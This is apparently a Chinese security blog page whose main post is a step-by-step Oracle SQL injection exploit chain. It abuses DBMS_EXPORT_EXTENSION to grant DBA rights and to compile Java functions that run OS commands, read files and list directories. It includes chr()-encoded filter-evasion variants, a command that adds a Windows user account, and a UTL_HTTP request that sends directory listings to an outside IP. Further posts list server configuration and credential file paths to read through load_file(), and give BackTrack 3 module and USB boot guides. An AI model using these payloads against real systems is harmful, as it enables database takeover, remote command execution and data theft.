select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多语句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

创建用户(除非当前用户有system权限,否则无法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual

================
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()

1.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有权限,以下语句应该运行正常
select sys.linx_query('select 1 from dual') from dual;

不然的话运行:

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual

2.创建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual

3.创建函数
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual

4.给权限
给用户SYSTEM执行权限:

SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.执行函数
select RunCMD2('cmd /c dir') from dual

==================
================================

以下是无 " ' " 版:

以下是各个步骤:

1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:

/xxx.jsp?id=1 and chr(49)<>chr(50)||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr
(32)||chr(114)||chr(101)||chr(112)||
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

)

------------------------------

2.赋Java权限
/xxx.jsp?id=1 and chr(49)<>chr(50)||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||c
hr(69)||chr(67)||chr(85)||
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

)

readfile函数的ascii版就不写了,见谅。

3.创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
chr(59)||chr(45)||chr(45)
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

4.赋public执行函数的权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
chr(59)||chr(45)||chr(45)
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

5.执行命令:

/xxx.jsp?id=1 and chr(49)<>chr(32)||(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)


/xxx.jsp?id=1 and chr(49)<>chr(32)||(
select  sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
)

/////////////////////
再加一个函数openDir():
在oracle上创建Java包LinxUtil,里面三个函数,runCMD用于执行系统命令,readFile用于读取文件,openDir用于浏览目录:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {
public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
public static String openDir(String dir) {String str = "";File file = new File(dir); String[] filelist = file.list(); for (int i = 0; i < filelist.length; i++) str += filelist + (char)0xa;return str;}}'''';END;'';END;--','SYS',0,'1',0) from dual
)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&qu
ot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxOpenDir(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.openDir(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxOpenDir to public'''';END;'';END;--','SYS',0,'1',0) from dual
select  sys.LinxOpenDir('/') from dual

SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxOpenDir:'||REPLACE(REPLACE(sys.LinxOpenDir('/'),' ','%20'),chr(10),'%0A')) FROM dual

分类: 技术文章 标签: ,

load_file()查看常用的一些配置文件

2008年10月18日 没有评论 77 views

文章作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
原始链接:http://forum.eviloctal.com/viewthread.php?tid=30399

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
C:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
/etc/sysconfig/iptables //从中得到防火墙规则策略

不是所有的linux都有/etc/redhat-release文件的。这个只能说明是redhat,读系统版本还是读取/etc/issue 或者 /etc/issue.net

分类: 技术文章 标签: ,

制作Backtrack 3(BT3)自动加载模块LZM

2008年10月17日 没有评论 919 views

出处:Chinadu`s Blog

BackTrack  是基于Slackware  和SLAX        的自启动运行光盘,它本身高度集成、
高度模块化但又可以被灵活定制。打开BT3                        的光盘,你会发现有\BT\modules\
目录,用户添加的模块就储存在此目录下。BT3                          的模块是以lzm        的压缩格式存
储,在BT3      启动时会自动解压缩到指定的目录下。

下面我就以aircrack-ng-1.0-beta2为例,介绍一下如何制作BT3  模块。

一.制作编译程序的LZM

例:光盘里现有的aircrack-ng              1.0 beta1的版本,现在最新版本为2.0beta版

因此可在windows下先下载此最新的版本aircrack-ng-1.0-beta2.tar.tar
启动bt3,将这个文件拷贝到 /root 文件夹(就是桌面上的home图标)
1.先进行编译和安装

解压:tar -xf aircrack-ng-1.0-beta2.tar.tar

进入文件目录:cd aircrack-ng-1.0-beta2

编译安装:make clean && make && make install

2.执行LZM封装

在当前目录执行checkinstall  制作tgz          模块:checkinstall -y

注:checkinstall  执行完毕会在当前目录下生成一个aircrack-ng-i386-1.tgz                   文件

检查文件 否正确:tar -tvzf aircrack-ng-i386-1.tgz

如果文件正确:
将tgz转换成lzm格式:

tgz2lzm aircrack-ng-i386-1.tgz aircrack-ng-i386-1.lzm

如果文件不正确:

将tgz 文件解压缩:tar -xvzf aircrack-ng-i386-1.tgz纠正错误后

重新打包:dir2lzm aircrack-ng-i386-1 aircrack-ng-i386-1.lzm

 (dir2lzm 同样可以用于一些不需要编 的脚本、文档等目录的打包)
最后将生成的aircrack-ng-i386-1.lzm文件拷贝到到\BT3\modules\下,这样BT3
每次启动以后就是最新的aircrack-ng-1.0-beta2了。

分类: 技术文章 标签:

用U盘引导启动硬盘上的BT3的方法

2008年10月17日 没有评论 1,401 views

来源:Chinadu`s Blog

U盘启动BT3方便,但是太慢,用硬盘就快多 了。
不用安装的硬盘启动BT3的方法:

把U盘用usbboot做成usb-zip启动盘加上config.sys和autoexec.bat就可以做成菜单启动,bt3的文件放在硬盘根目录。

下面是我做好的文件,只要解压缩到U盘的根目录下就可以了,有菜单,默认的是DOS启动盘,第二项是BT3。

适合FAT32 分区的。autoexec.bat中的第9行的盘符是你的BT3和boot 所在的盘符。根据需要修改。

下载地址:点击下载

分类: 技术文章 标签: